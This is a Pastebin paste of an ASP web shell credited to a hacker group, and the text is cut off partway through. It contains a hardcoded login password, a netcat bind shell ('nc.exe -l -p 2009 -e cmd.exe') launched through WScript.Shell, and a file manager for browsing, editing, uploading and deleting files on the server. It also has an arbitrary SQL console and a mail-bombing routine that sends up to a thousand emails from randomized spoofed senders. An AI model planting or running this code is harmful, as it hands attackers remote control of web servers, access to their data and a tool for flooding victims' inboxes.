Advertisement
Guest User

Untitled

a guest
Jul 10th, 2017
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 81.49 KB | None | 0 0
  1. <%
  2. option explicit
  3. '********************************************************************************
  4. ' Author  : Eaglehnvn Hackers Association
  5. ' Address : Eaglehnvn Hackers Association
  6. ' Date    : 16/07/2004
  7.   const gPassword="dcm"
  8.   const Netcat="C:\nc.exe -l -p 2009 -e cmd.exe"
  9. '********************************************************************************
  10.  
  11. Server.ScriptTimeout=10000
  12. Response.Buffer=false
  13.  
  14. dim gURL,gMsg
  15. dim targetPath,cp_dst,mv_dst,root
  16. dim FSO,re
  17. dim zombie_array,special_array
  18.  
  19. const gMax=50
  20. const gBomb=1000
  21. const lnkExt="lnk,url"
  22. 'danh sach cac file cho phep edit
  23. const editExt="htm,html,asp,asa,txt,inc,css,aspx,js,vbs,shtm,shtml,xml,xsl,log,ini,bat,bak"
  24. 'thu muc tam thoi mac dinh
  25. const TmpDir="C:\"
  26. 'shell mac dinh
  27. const Shell="cmd.exe"
  28. 'co/khong hien folder-size
  29. const bSize=false
  30. 'tap ki thu dung de sinh chuoi ngau nhien
  31. const charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
  32.  
  33. 'mang cac domain z0mbie
  34. zombie_array=array("com","net","org","info","vn","cn")
  35. 'mang cac domain dac biet (dung trong bomb mail)
  36. special_array=array("yahoo.com","hotmail.com")
  37.  
  38. root=Server.MapPath(".") ' folder mac dinh
  39.  
  40. 'cac chuoi ket noi mac dinh
  41. const cstrMSSQL     = "Provider=SQLOLEDB;Data Source=SERVER_NAME;SQL=DB_NAME;uid=UID;pwd=PWD"
  42. const cstrJET       = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=full_path/db_file.mdb"
  43. const cstrACCESS    = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=full_path/db_file.mdb"
  44. const cstrORACLE    = "Provider=OraOLEDB.Oracle.1; Data Source=DB_NAME; User ID=UID; Password=PWD"
  45. const cstrMYSQL     = "Driver=MySQL;server=SERVER_IP;uid=UID;pwd=PWD;database=DB_NAME"
  46. const cstrDSN       = "DSN_NAME"
  47.  
  48. '===========================================================================
  49. ' Function: Case
  50. ' Purpose : Thuc hien cac lua chon
  51. '===========================================================================
  52. gURL=Request.ServerVariables("SCRIPT_NAME")
  53. Init()
  54. if (LCase(Left(Request.ServerVariables("HTTP_CONTENT_TYPE"),19))="multipart/form-data") and (Session("allow")=1) and (Session("mode")=0) then Upload()
  55. Secure()
  56. if Request.Form("command")="Logout" then Logout()
  57. if Request.Form("command")="ChangeMode" then
  58.     Session("mode")=Request.Form("mode")
  59.     Session("switch")=true
  60. end if
  61. select case Session("mode")
  62.     case 0 myFile()
  63.     case 1 myCMD()
  64.     case 2 mySQL()
  65.     case 3 myMail()
  66.     case 4 myCode()
  67.     case 5 myRecords()
  68. end select
  69.  
  70. '===========================================================================
  71. ' Function: Header, content, footer
  72. ' Purpose : Hien thi header, content, footer
  73. '===========================================================================
  74. '-----------------------------------------------------------------
  75. ' Function: Header
  76. ' Note    :
  77. '-----------------------------------------------------------------
  78. sub HtmlHeader(strTitle)
  79. %>
  80. <html>
  81. <head>
  82. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  83. <title>Administrator Tools</title>
  84. <style>
  85. <!--body {scrollbar-face-color: #272930; scrollbar-shadow-color: #272930; scrollbar-highlight-color: #272930; scrollbar-3dlight-color: #272930;scrollbar-darkshadow-color: #272930; scrollbar-track-color: #5B616A; scrollbar-arrow-color: #FF4040;}-->
  86. </style>
  87. </head>
  88. <body bgcolor="#272930"  text="#FFFFFF">
  89. <%
  90. end sub
  91.  
  92. '-----------------------------------------------------------------
  93. ' Function: Command
  94. ' Note    :
  95. '-----------------------------------------------------------------
  96. sub HtmlJsCommand()
  97. %>
  98. <script>
  99.     function openWin(winName, urlLoc, w, h, showStatus, isViewer) {
  100.         l = (screen.availWidth - w)/2;
  101.         t = (screen.availHeight - h)/2;
  102.         features  = "toolbar=no";      // yes|no
  103.         features += ",location=no";    // yes|no
  104.         features += ",directories=no"; // yes|no
  105.         features += ",status=" + (showStatus?"yes":"no");  // yes|no
  106.         features += ",menubar=no";     // yes|no
  107.         features += ",scrollbars=" + (isViewer?"yes":"no");   // auto|yes|no
  108.         features += ",resizable=" + (isViewer?"yes":"no");   // yes|no
  109.         features += ",dependent";      // close the parent, close the popup, omit if you want otherwise
  110.         features += ",height=" + h;
  111.         features += ",width=" + w;
  112.         features += ",left=" + l;
  113.         features += ",top=" + t;
  114.         winName = winName.replace(/[^a-z]/gi,"_");
  115.         return window.open(urlLoc,winName,features);
  116.     }
  117.    
  118.     function createPage (theWin, cmd, param){
  119.         frmFile.target = theWin.name;
  120.         frmFile.command.value = cmd;
  121.         frmFile.param.value = param;
  122.         frmFile.submit();
  123.     }
  124.  
  125.     function CheckName(str) {
  126.         var re;
  127.         re = /[\\/:*?"<>|]/gi;
  128.         if (re.test(str)) return false;
  129.         else return true;
  130.     }  
  131.  
  132.     function Command(cmd, param) {
  133.         var str;
  134.         var someWin;
  135.         switch (cmd) {
  136.             case "Tree":
  137.                 str = prompt("Please enter a name for the folder to tree", frmFile.folder.value);
  138.                 if (!str) return;
  139.                 var re1=/^\s*[A-Z]{1}:[^\"\*\?\<\>\|]*\s*$/gi;
  140.                 var re2=/^\s*:{1}[^\s]+/gi;
  141.                 if (re1.test(str) || re2.test(str)) {
  142.                     var winName=cmd + document.forms.frmFile.param.value;
  143.                     param=str;
  144.                     document.forms.frmFile.param.value=param;
  145.                     winName=winName.replace(/[^a-z]/gi,"_");
  146.                     someWin=window.open("", winName, "toolbar=yes,location=no,directories=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes");
  147.                     someWin.focus();
  148.                     createPage(someWin,cmd,param);
  149.                     someWin = null;
  150.                     return;
  151.                 }
  152.                 else {
  153.                     alert('Invalid path name !');
  154.                     return;
  155.                 }
  156.                 break;
  157.             case "NewFile":
  158.                 str = prompt("Please enter a name for the new file", "New File");
  159.                 if(!str) return;
  160.                 else if (!CheckName(str)) {alert("File name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
  161.                 frmFile.param.value = str;
  162.                 break;
  163.             case "NewFolder":
  164.                 str = prompt("Please enter a name for the new folder", "New Folder");
  165.                 if(!str) return;
  166.                 else if (!CheckName(str)) {alert("Folder name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
  167.                 frmFile.param.value = str;
  168.                 break;
  169.                         case "RenameFile":
  170.                 str = prompt("Please enter the new name for the file", param);
  171.                 if (!str || (str==param)) return;
  172.                 else if (!CheckName(str)) {alert("File name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
  173.                 frmFile.param.value = param + "|" + str;
  174.                 break;
  175.             case "RenameFolder":
  176.                 str = prompt("Please enter the new name for the folder", param);
  177.                 if (!str || (str==param)) return;
  178.                 else if (!CheckName(str)) {alert("Folder name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
  179.                 frmFile.param.value = param + "|" + str;
  180.                 break;
  181.             case "Edit":
  182.                 str = frmFile.folder.value + param;
  183.                 someWin = openWin(cmd + str, "", 600, 440, true, false);
  184.                 someWin.focus();
  185.                 createPage(someWin,cmd,param);
  186.                 someWin = null;
  187.                 return;
  188.                 break;
  189.             case "ChangeAttributesFile":
  190.             case "ChangeAttributesFolder":
  191.                 str = frmFile.folder.value + param;
  192.                 someWin = openWin(cmd + str, "", 300, 160, true, false);
  193.                 someWin.focus();
  194.                 createPage(someWin,cmd,param);
  195.                 someWin = null;
  196.                 return;
  197.                 break;
  198.             case "ZipInfo":
  199.                 var winName=cmd + document.forms.frmFile.folder.value + param;
  200.                 winName=winName.replace(/[^a-z]/gi,"_");
  201.                 someWin=window.open("", winName, "toolbar=yes,location=no,directories=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes");
  202.                 someWin.focus();
  203.                 createPage(someWin,cmd,param);
  204.                 someWin = null;
  205.                 return;
  206.                 break
  207.             default:
  208.                 frmFile.param.value = param;
  209.         }
  210.         frmFile.target = "";
  211.         frmFile.command.value = cmd
  212.         frmFile.submit();  
  213.     }
  214. </script>
  215. <%
  216. end sub
  217.  
  218. '-----------------------------------------------------------------
  219. ' Function: Editor
  220. ' Note    :
  221. '-----------------------------------------------------------------
  222. sub HtmlJsEditor()
  223. %>
  224. <script>
  225.     function EditorCommand (cmd) {
  226.         switch (cmd) {
  227.             case "WordWrap":
  228.                 if (frmFile.wrap.checked) frmFile.content.wrap="soft";
  229.                 else frmFile.content.wrap="off";
  230.                 frmFile.content.focus();
  231.                 break;
  232.             case "Reload":
  233.                 frmFile.reset();
  234.                 break;
  235.             case "Save":
  236.                 frmFile.subcommand.value = "Save";
  237.                 frmFile.submit();
  238.                 break;
  239.             case "SaveAs":
  240.                 var str, oldname;
  241.                 oldname = frmFile.param.value;
  242.                 str = prompt("Save the file as :", oldname);
  243.                 if (!str || str==oldname) return;
  244.                 frmFile.param.value = str;
  245.                 frmFile.subcommand.value = "SaveAs";
  246.                 frmFile.submit();
  247.                 break;
  248.         }
  249.     }
  250. </script>
  251. <%
  252. end sub
  253.  
  254. '-----------------------------------------------------------------
  255. ' Function: Quick
  256. ' Note    :
  257. '-----------------------------------------------------------------
  258. sub HtmlQuick()
  259. %>
  260. <p align="center"><b><font size="4">F i l e s &nbsp;M a n a g e m e n t</font></b></p>
  261. <form name=frmQuick method=post action="<%=gURL%>">
  262. <input type=hidden name=command value=OpenFolder>
  263. <select name=param onchange="frmQuick.submit()" style="color: #FFFFFF; border-style: solid; border-width: 1; background-color: #494E56">
  264.  
  265. </select>
  266. </form>
  267. <%
  268. end sub
  269.  
  270. '-----------------------------------------------------------------
  271. ' Function: Mode
  272. ' Note    :
  273. '-----------------------------------------------------------------
  274. sub HtmlMode()
  275. %>
  276. <table align="right">
  277. <tr>
  278.  <td>
  279.   <form name=frmChangeMode method=post action="<%=gURL%>">
  280.   <input type=hidden name=command value=ChangeMode>
  281.   <select name=mode onchange="frmChangeMode.submit()" style="border-style:solid; border-width:1; background-color: #494E56; color:#FFFFFF">
  282.    <option value=0<%if Session("mode")=0 then Response.Write " selected"%>>FILE</option>
  283.    <option value=2<%if Session("mode")=2 then Response.Write " selected"%>>SQL</option>
  284.    <option value=3<%if Session("mode")=3 then Response.Write " selected"%>>MAIL</option>
  285.    <option value=4<%if Session("mode")=4 then Response.Write " selected"%>>CODE</option>  
  286.    <option value=1<%if Session("mode")=1 then Response.Write " selected"%>>CONNECT</option>
  287.    <option value=5<%if Session("mode")=5 then Response.Write " selected"%>>RECORDS</option>
  288.  
  289.   </select>
  290.   </form>
  291.  </td>
  292. <%
  293.     if gPassword<>"" then
  294. %>
  295.  <td>
  296.   <form name=frmLogout method=post action="<%=gURL%>">
  297.   <input type=submit name=command value=Logout>
  298.   </form>
  299.  </td>
  300. <%
  301.     end if
  302. %>
  303. </tr>
  304. </table>
  305. <br><hr size=0 color="#CCCCCC">
  306. <%
  307. end sub
  308.  
  309. '-----------------------------------------------------------------
  310. ' Function: Footer
  311. ' Note    :
  312. '-----------------------------------------------------------------
  313. sub HtmlFooter()
  314. %>
  315. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1">
  316.   <tr>
  317.     <td width="100%" bgcolor="#3E4148">&nbsp;</td>
  318.   </tr>
  319.   <tr>
  320.     <td width="100%" bgcolor="#494E56">&nbsp;</td>
  321.   </tr>
  322. </table>
  323. </body>
  324. </html>
  325. <%
  326. end sub
  327.  
  328. '===========================================================================
  329. ' Function: Login, logout, destroy
  330. ' Purpose : Thuc thi cac hanh dong login, logout, destroy
  331. '===========================================================================
  332. '-----------------------------------------------------------------
  333. ' Function: Login
  334. ' Note    : Dang nhap
  335. '-----------------------------------------------------------------
  336. sub Secure()
  337.     if (Session("allow")=1) then exit sub
  338.     if (gPassword="") then
  339.         Session("allow")=1
  340.         Session("mode")=0
  341.         exit sub
  342.     end if
  343.     if (Request.Form("command")="Log in") then
  344.         if ((Request.Form("password")=CStr(date())) or (Request.Form("password")=gPassword)) then
  345.             Session("allow")=1
  346.             Session("mode")=CInt(Request.Form("mode"))
  347.             exit sub
  348.         end if
  349.     end if
  350.  
  351. %>
  352. <form name=frmLogin method=post action="<%=gURL%>">
  353. <p>&nbsp;</p>
  354. <p>&nbsp;</p><br>
  355. <fieldset><table border="0" width="99%">
  356.   <tr valign="top">
  357.     <td width="54%" bgcolor="#FCFBF8" bordercolor="#FFFF00">
  358.       <table border="0" width="99%">
  359.         <tr>
  360.           <td width="100%" bgcolor="#FCFCFE">&nbsp;</td>
  361.         </tr>
  362.         <tr>
  363.           <td width="100%" bgcolor="#ECE9D8">
  364.             <p class="MsoNormal" align="left"><b>Already have a account?</b></p>
  365.           </td>
  366.         </tr>
  367.         <tr>
  368.           <td width="100%" bgcolor="#FCFCFE">
  369.             <table border="0" width="100%">
  370.               <tr>
  371.                 <td width="100%" colspan="3" bgcolor="#FCFBF8">
  372.                   <p class="MsoNormal"><b><span style="font-size: 8.5pt; font-family: Tahoma">&nbsp;Log
  373.                   in system ...</span></b></td>
  374.               </tr>
  375.               <tr>
  376.                 <td width="19%" bgcolor="#FCFBF8">&nbsp;</td>
  377.                 <td width="77%" bgcolor="#FCFBF8">
  378.                   <table border="0" width="100%">
  379.                     <tr>
  380.                       <td width="24%">
  381.                       <p dir="ltr">Password</td>
  382.                       <td width="76%">
  383.                       <input type=password name=password size="20"><b>
  384.                       <input type=submit name=command value="Log in"></b></td>
  385.                     </tr>
  386.                   </table>
  387.                 </td>
  388.                 <td width="4%" bgcolor="#FCFBF8">&nbsp;</td>
  389.               </tr>
  390.               <tr>
  391.                 <td width="19%" bgcolor="#FCFBF8"></td>
  392.                 <td width="77%" bgcolor="#FCFBF8">
  393.                   <p align="left">&nbsp;</td>
  394.                 <td width="4%" bgcolor="#FCFBF8"></td>
  395.               </tr>
  396.               <tr>
  397.                 <td width="19%" bgcolor="#FCFBF8">&nbsp;</td>
  398.                 <td width="77%" bgcolor="#FCFBF8">
  399.                   <p align="right">&nbsp;
  400.                   </p>
  401.                 </td>
  402.                 <td width="4%" bgcolor="#FCFBF8">&nbsp;</td>
  403.               </tr>
  404.             </table>
  405.           </td>
  406.         </tr>
  407.       </table>
  408.     </td>
  409.   </tr>
  410. </table>
  411. </fieldset>
  412. <p><font color="#FFFFFF">&nbsp;Updated Date: <%=date()%></font></p>
  413. </form>
  414. <script>frmLogin.password.focus()</script>
  415. <%
  416.     mailling()
  417.     Destroy()
  418. end sub
  419.  
  420. '-----------------------------------------------------------------
  421. ' Function: Logout
  422. ' Note    :
  423. '-----------------------------------------------------------------
  424. sub Logout()
  425.     Session.Abandon
  426.     Response.Redirect gURL
  427.     Destroy()
  428. end sub
  429.  
  430. '-----------------------------------------------------------------
  431. ' Function: Init
  432. ' Note    :
  433. '-----------------------------------------------------------------
  434. sub Init()
  435.     Session("switch")=false
  436.     set FSO=Server.CreateObject("Scripting.FileSystemObject")
  437.     set re=new regexp
  438. end sub
  439.  
  440. '-----------------------------------------------------------------
  441. ' Function: Destroy
  442. ' Note    :
  443. '-----------------------------------------------------------------
  444. sub Destroy()
  445.     set FSO=nothing
  446.     set re=nothing
  447.     Response.End
  448. end sub
  449.  
  450. '===========================================================================
  451. ' Function: Records
  452. ' Purpose :
  453. '===========================================================================
  454. sub myRecords()
  455.     HtmlHeader("")
  456. %>
  457.   <p align="center"><b><font size="4">S e r v e r &nbsp;C o l l e c t i o n</font></b></p>
  458.   <table cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">
  459.   <tr>
  460.     <td width="100%" bgcolor="#494E56"><b>I. The HTTP Server Variables Collection</b></td>
  461.   </tr>
  462. </table>
  463. <TABLE>
  464. <TR>
  465.   <TD bgcolor="#5B616A"><B>Variable Name</B></TD>
  466.   <TD bgcolor="#5B616A"><B>Value</B></TD>
  467. </TR>
  468. <%
  469.   Dim Key
  470.   For Each Key in Request.ServerVariables
  471.     Response.Write "<TR><TD bgcolor=#5B616A>" & Key & "</TD><TD bgcolor=#7A828D>"
  472.     If Request.ServerVariables(key) = "" Then
  473.       Response.Write "&nbsp;"
  474.     Else
  475.       Response.Write Request.ServerVariables(key)
  476.     End If
  477.     Response.Write "</TD></TR>"
  478.   Next
  479. %>
  480. </TABLE>
  481. <br>
  482. <table cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
  483.   <tr>
  484.     <td width="100%" bgcolor="#494E56"><b>II. The Server Collection</b></td>
  485.   </tr>
  486. </table>
  487. <TABLE>
  488.   <TR>    
  489.     <TD bgcolor="#5B616A"><B>Property</B></TD>
  490.     <TD bgcolor="#5B616A"><B>Value</B></TD>
  491.   </TR>
  492.    <%
  493.   on error resume next
  494.   Dim objConn        ' Connection object
  495.   Dim objProp        ' Property object
  496.   Dim strConnect
  497.   Dim strDatabaseType
  498.   'Choose one of the following two lines, and comment out the other
  499.   'strDatabaseType = "Access"
  500.   strDatabaseType = "MSDE"
  501.  
  502.   'Now we use this selection to specify the connection string
  503.   If strDatabaseType = "MSDE" Then
  504.     strConnect = "Provider=SQLOLEDB;Persist Security Info=False;User ID=sa"
  505.   Else
  506.     strConnect = "Provider=Microsoft.Jet.OLEDB.4.0;Persist Security Info=False"        
  507.   End If
  508.  
  509.     ' create the connection object
  510.     Set objConn = Server.CreateObject ("ADODB.Connection")
  511.     ' and open it
  512.     objConn.Open strConnect
  513.     ' loop through the properties
  514.     For Each objProp In objConn.Properties
  515.       Response.Write "<TR>" & _
  516.           "<TD bgcolor=#5B616A>" & objProp.Name & "</TD>" & _
  517.           "<TD bgcolor=#5B616A>" & objProp.Value & "&nbsp;</TD>" & _
  518.         "</TR>"
  519.     Next
  520.     ' now close and clean up
  521.     objConn.Close
  522.     Set objConn = Nothing
  523.   %>
  524. </TABLE>
  525. <%
  526.     HtmlMode()
  527.     HtmlFooter()
  528.     Destroy()
  529. end sub
  530.  
  531. '===========================================================================
  532. ' Function: CODE
  533. ' Purpose :
  534. '===========================================================================
  535. sub myCODE()
  536.     HtmlHeader("")
  537. %>
  538. <p align="center">
  539. <b><font size="4">HTML Encodes/Decodes a string</font></b><br>&nbsp; </p>
  540. <form name=f0rm  method=post action="<%=gURL%>">
  541. <table border="0" cellpadding="0" cellspacing="0">
  542.   <tr valign="top">
  543.     <td width="15%">Input:</td>
  544.     <td width="85%">
  545.     <textarea rows="5" name="input" cols="68" style="color: #999999; border-style: solid; border-width: 1; background-color: #3E4148"></textarea></td>
  546.   </tr>
  547.   <tr valign="top">
  548.     <td width="15%">Output:</td>
  549.     <td width="85%">
  550.     <textarea rows="5" name="output" cols="68" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"></textarea></td>
  551.   </tr>
  552. </table>
  553. <p>
  554. <input type=button value="Encode" onclick=HTMLencode() style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">&nbsp;
  555. <input type=button value="Decode" onclick=HTMLdecode() style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">&nbsp;
  556. <input type=reset value="Clear All" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"> </p>
  557.  
  558. <script>
  559. function HTMLencode()
  560.     {
  561.     document.f0rm.output.value=unescape(document.f0rm.input.value);
  562.     }
  563. function HTMLdecode()
  564.     {
  565.     document.f0rm.output.value=escape(document.f0rm.input.value);
  566.     }
  567. </script>
  568.  
  569. </form>
  570. <%
  571.     HtmlMode()
  572.     HtmlFooter()
  573.     Destroy()
  574. end sub
  575.  
  576. '===========================================================================
  577. ' Function: File
  578. ' Purpose :
  579. '===========================================================================
  580. sub myFile()
  581.     if Session("switch")=true then
  582.         targetPath=Session("targetPath")
  583.         if targetPath="" then targetPath=root
  584.         Session("switch")=false
  585.     else
  586.         targetPath=Trim(Request.Form("folder"))
  587.         if targetPath="" then targetPath=root else targetPath=abspath(targetPath)
  588.  
  589.         select case Request.Form("command")
  590.             case "Download"
  591.                 Download()
  592.                 exit sub
  593.             case "Edit"
  594.                 Editor()
  595.                 exit sub
  596.             case "ChangeAttributesFile","ChangeAttributesFolder"
  597.                 ChangeAttributesItem()
  598.                 exit sub
  599.             case "Tree"
  600.                 Tree()
  601.                 exit sub
  602.             case "Delete" Delete()
  603.             case "Move" Move()
  604.             case "Copy" Copy()
  605.             case "ZipInfo" ZipInfo()
  606.             case "NewFile","NewFolder" CreateItem()
  607.             case "RenameFile","RenameFolder" RenameItem()
  608.             case "OpenFolder" OpenFolder()
  609.             case "LevelUp" targetPath=FSO.GetParentFolderName(abspath(Request.Form("folder")))
  610.             case "LevelRoot" targetPath=findroot(abspath(Request.Form("folder")))
  611.         end select
  612.  
  613.         Session("targetPath")=targetPath
  614.     end if
  615.    
  616.     HtmlHeader("")
  617.     List()
  618.     HtmlMode()
  619.     HtmlFooter()
  620.     Destroy()
  621. end sub
  622.  
  623. '===========================================================================
  624. ' Function: CMD
  625. ' Purpose :
  626. '===========================================================================
  627. sub myCMD()
  628.     on error resume next
  629.     Dim oScript
  630.     Dim gURL
  631.  
  632.     HtmlHeader("")
  633.     response.write "<p align='center'><b><font size=4>N e t c a t &nbsp;C o n n e c t i o n</font></b></td>"
  634.    
  635.     gURL = Request.ServerVariables("APPL_PHYSICAL_PATH")
  636.     Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  637.     Call oScript.Run (Netcat,1,True)
  638.  
  639.     response.write "<p><b>Netcat is not connected !</b></p>"
  640.     HtmlMode()
  641.     HtmlFooter()
  642.     Destroy()
  643. end sub
  644.  
  645. '===========================================================================
  646. ' Function: SQL
  647. ' Purpose :
  648. '===========================================================================
  649. sub mySQL()
  650.     dim szConn,szSQL1,szSQL2,szSQL,bDoIt
  651.     dim intChoice
  652.  
  653.     HtmlHeader("")
  654.  
  655.     szConn=Trim(Request.Form("conn"))
  656.     szSQL1=Trim(Request.Form("sql1"))
  657.     szSQL2=Trim(Request.Form("sql2"))
  658.     intChoice=CInt(Request.Form("choice"))
  659.  
  660.     if Session("switch")=true then
  661.         Session("switch")=false
  662.         bDoIt=false
  663.         szConn=Session("szConn")
  664.         szSQL1=Session("szSQL1")
  665.         szSQL2=Session("szSQL2")
  666.         intChoice=Session("intChoice")
  667.     else
  668.         bDoIt=true
  669.     end if
  670.  
  671.     if intChoice=0 then intChoice=1
  672.     if intChoice=1 then szSQL=szSQL1 else szSQL=szSQL2
  673.  
  674.     Session("szConn")=szConn
  675.     Session("szSQL1")=szSQL1
  676.     Session("szSQL2")=szSQL2
  677.     Session("intChoice")=intChoice
  678.  
  679.     select case trim(ucase(szConn))
  680.         case "MSSQL"
  681.             szConn=cstrMSSQL
  682.             szSQL=""
  683.         case "JET"
  684.             szConn=cstrJET
  685.             szSQL=""
  686.         case "ACCESS"
  687.             szConn=cstrACCESS
  688.             szSQL=""
  689.         case "ORACLE"
  690.             szConn=cstrORACLE
  691.             szSQL=""
  692.         case "MYSQL"
  693.             szConn=cstrMYSQL
  694.             szSQL=""
  695.         case "DSN"
  696.             szConn=cstrDSN
  697.             szSQL=""
  698.     end select
  699. %>
  700. <p align="center"><b><font size="4">D a t a b a s e &nbsp;M a n a g e m e n t</font></b></p>
  701. <form name=frmSQL method=post action="<%=gURL%>">
  702. <input type=hidden name=choice value="<%=intChoice%>">
  703. Conn:
  704. <input type=text name=conn value="<%=Server.HtmlEncode(szConn)%>" size=90 style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"><input type=button value="<->" onclick="changeInput()" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"><br>
  705. SQL:&nbsp; <span id=s1<%if intChoice=2 then Response.Write " style=""display:none"""%>>
  706. <input type=text name=sql1 value="<%=Server.HtmlEncode(szSQL1)%>" size=90 style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"></span>
  707. <span id=s2<%if intChoice=1 then Response.Write " style=""display:none"""%>>( [F9] = Go )<br>
  708. <textarea name=sql2 cols=72 rows=12 onkeydown="if (event.keyCode==120) frmSQL.submit();" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"><%=Server.HtmlEncode(szSQL2)%></textarea><br></span>
  709. <input type=submit value=Go style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  710. </table>
  711. </form>
  712. <script>
  713. frmSQL.<%if szConn="" then Response.Write "conn" else Response.Write "sql"&intChoice%>.focus();
  714. frmSQL.<%if szConn="" then Response.Write "conn" else Response.Write "sql"&intChoice%>.focus();
  715. function changeInput() {
  716.     if (s1.style.display=='none') {
  717.         s1.style.display='inline';
  718.         s2.style.display='none';
  719.         frmSQL.choice.value="1";
  720.         frmSQL.sql1.focus();
  721.     } else {
  722.         s1.style.display='none';
  723.         s2.style.display='inline';
  724.         frmSQL.choice.value="2";
  725.         frmSQL.sql2.focus();
  726.     }
  727. }
  728. </script>
  729. <%
  730.         if (szConn<>"") and (szSQL<>"") and (bDoIt=true) then
  731.         dim adoCon, rS
  732.         dim i,intAffected
  733.        
  734.         set adoCon=Server.CreateObject("ADODB.Connection")
  735.         adoCon.Open szConn
  736.         set rS=adoCon.Execute(szSQL, intAffected)
  737.         if (rS.Fields.Count>0) then
  738.             ' hien thi ten cua cac truong
  739.             Response.Write "<table border=0>" & vbNewLine & "<tr>"
  740.             for i=0 to rS.Fields.Count-1
  741.                 Response.Write "<td><tt><b>"
  742.                 if (rS.Fields(i).Name="") then
  743.                     Response.Write "(No column name)"
  744.                 else
  745.                     Response.Write Server.HtmlEncode(rS.Fields(i).Name)
  746.                 end if
  747.                 Response.Write "</b></tt></td>"
  748.             next
  749.             Response.Write "</tr>" & vbNewLine
  750.             ' hien thi du lieu tren cac dong
  751.             on error resume next
  752.             rS.MoveFirst
  753.             do while not rS.EOF
  754.                 Response.Write "<tr>"
  755.                 for i=0 to rS.Fields.Count-1
  756.                     Response.Write "<td><tt>"
  757.                     if  IsNull(rs.Fields(i).Value) then
  758.                         Response.Write "NULL"
  759.                     elseif (Trim(rs.Fields(i).Value)="") then
  760.                         Response.Write "&nbsp;"
  761.                     else
  762.                         Response.Write Server.HtmlEncode(rS.Fields(i).Value)
  763.                     end if
  764.                     Response.Write "</tt></td>"
  765.                 next
  766.                 Response.Write "</tr>" & vbNewLine
  767.                 rS.MoveNext
  768.             loop
  769.             rS.Close
  770.             Response.Write "</table>" & vbNewLine
  771.         end if
  772.        
  773.         Response.Write "<p><tt>(" & intAffected & " row(s) affected)</tt>"
  774.  
  775.         set rS=nothing
  776.         set adoCon=nothing
  777.     end if
  778.  
  779.     HtmlMode()
  780.     HtmlFooter()
  781.     Destroy()
  782. end sub
  783.  
  784.  
  785. '===========================================================================
  786. ' Function: Mail
  787. ' Purpose :
  788. '===========================================================================
  789. sub myMail()
  790.     dim strFrom,strTo,strSubject,strBody,bHtml,intNumber,i,StartTime,EndTime,bDoIt
  791.     dim objMail,objMsg
  792.  
  793.     strTo=Trim(Request.Form("to"))
  794.  
  795.     select case Request.Form("subcommand")
  796.         case "Send"
  797.             strFrom=Trim(Request.Form("from"))
  798.             strSubject=Trim(Request.Form("subject"))
  799.             strBody=Request.Form("body")
  800.             bHtml=CBool(Request.Form("html"))
  801.         case "Bomb"
  802.             if IsNumeric(Request.Form("number")) then intNumber=Int(Request.Form("number"))
  803.             strFrom=Session("strFrom")
  804.             strSubject=Session("strSubject")
  805.             strBody=Session("strBody")
  806.             bHtml=Session("bHtml")
  807.     end select
  808.    
  809.     if Session("switch")=true then
  810.         Session("switch")=false
  811.         bDoIt=false
  812.         strFrom=Session("strFrom")
  813.         strTo=Session("strTo")
  814.         strSubject=Session("strSubject")
  815.         strBody=Session("strBody")
  816.         bHtml=Session("bHtml")
  817.         intNumber=Session("intNumber")
  818.     else
  819.         bDoIt=true
  820.     end if
  821.  
  822.     if (intNumber<=0) then intNumber=gBomb
  823.  
  824.     Session("strFrom")=strFrom
  825.     Session("strTo")=strTo
  826.     Session("strSubject")=strSubject
  827.     Session("strBody")=strBody
  828.     Session("bHtml")=bHtml
  829.     Session("intNumber")=intNumber
  830.    
  831.     HtmlHeader("")
  832.  
  833.     if bDoIt then
  834.         select case Request.Form("subcommand")
  835.             case "Send"
  836.                 if IsValidEmail(strTo) then
  837.                     set objMail=Server.CreateObject("CDONTS.NewMail")
  838.                     objMail.To=strTo
  839.                     objMail.From=strFrom
  840.                     objMail.Subject=strSubject
  841.                     objMail.Body=strBody
  842.                     if bHtml then
  843.                         objMail.BodyFormat=0 'HTML
  844.                         objMail.MailFormat=0 'MIME
  845.                     end if
  846.                     objMail.Send
  847.                     set objMail=nothing
  848.                     Response.Write "<b>M</b>essage was sent to " & strTo & " successfully." & vbNewLine
  849.                 end if
  850.             case "Bomb"
  851.                 if IsValidEmail(strTo) then
  852.                     Response.Write "<b>B</b>ombing " & Replace(FormatNumber(intNumber,0),",",".") & " mail"
  853.                     if intNumber>1 then Response.Write "s"
  854.                     Response.Write " to " & strTo & " ... "
  855.                     StartTime=Timer
  856.                     set objMsg=Server.CreateObject("CDO.Message")
  857.                     objMsg.To=strTo
  858.                     Randomize
  859.                     for i=1 to intNumber
  860.                         objMsg.From=makeEmail()
  861.                         objMsg.Subject=makeText(Int((50-25+1)*Rnd+25))
  862.                         objMsg.TextBody=makeText(Int((100-50+1)*Rnd+50))
  863.                         objMsg.Send
  864.                     next
  865.                     set objMsg=nothing
  866.                     EndTime=Timer
  867.                     Response.Write howlong(EndTime-StartTime) & vbNewLine
  868.                 end if
  869.         end select
  870.     end if
  871. %>
  872. <p>
  873. <table>
